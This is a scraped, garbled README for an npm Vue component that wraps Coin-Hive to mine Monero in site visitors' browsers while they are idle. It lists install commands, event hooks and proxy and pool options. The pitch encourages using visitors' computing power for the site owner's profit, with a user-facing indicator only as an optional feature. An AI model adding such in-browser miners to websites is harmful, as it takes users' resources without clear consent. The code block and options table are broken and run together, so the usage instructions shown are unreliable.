Coin hive Vue component
npm install @k.jaylee/vue-coin-hive> Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
> This uses Coin-Hive to mine Monero (XMR).
yarn add vue-coin-hive
npm i --save vue-coin-hive
``vue`
v-on:found='this.found'
>
@:found='yourMethod' |
| enableAccepted | Boolean | true | Enables miner on accepted event hook. You can bind an event accepted ` @:accepted='yourMethod' ` |
| enableUpdatesPerSecond | Boolean | true | Enables getHashesPerSecond event
| proxy | Array | null | Set proxies to different pool than coinhive (must be a stratum pool), and you need to set your proxy See how here. Enter as siteKey` your monero address.- v-bind:found : returns payload received from miner.on('found')
- v-bind:accepted : return payload received from miner.on('accepted)
- v-bind:updatePerSecond : return payload received from getHashesPerSecond, getTotalHashes, getAcceptedHashes
- Mining indicator for users
This project is licensed under MIT License
I have nothing to do with coinhive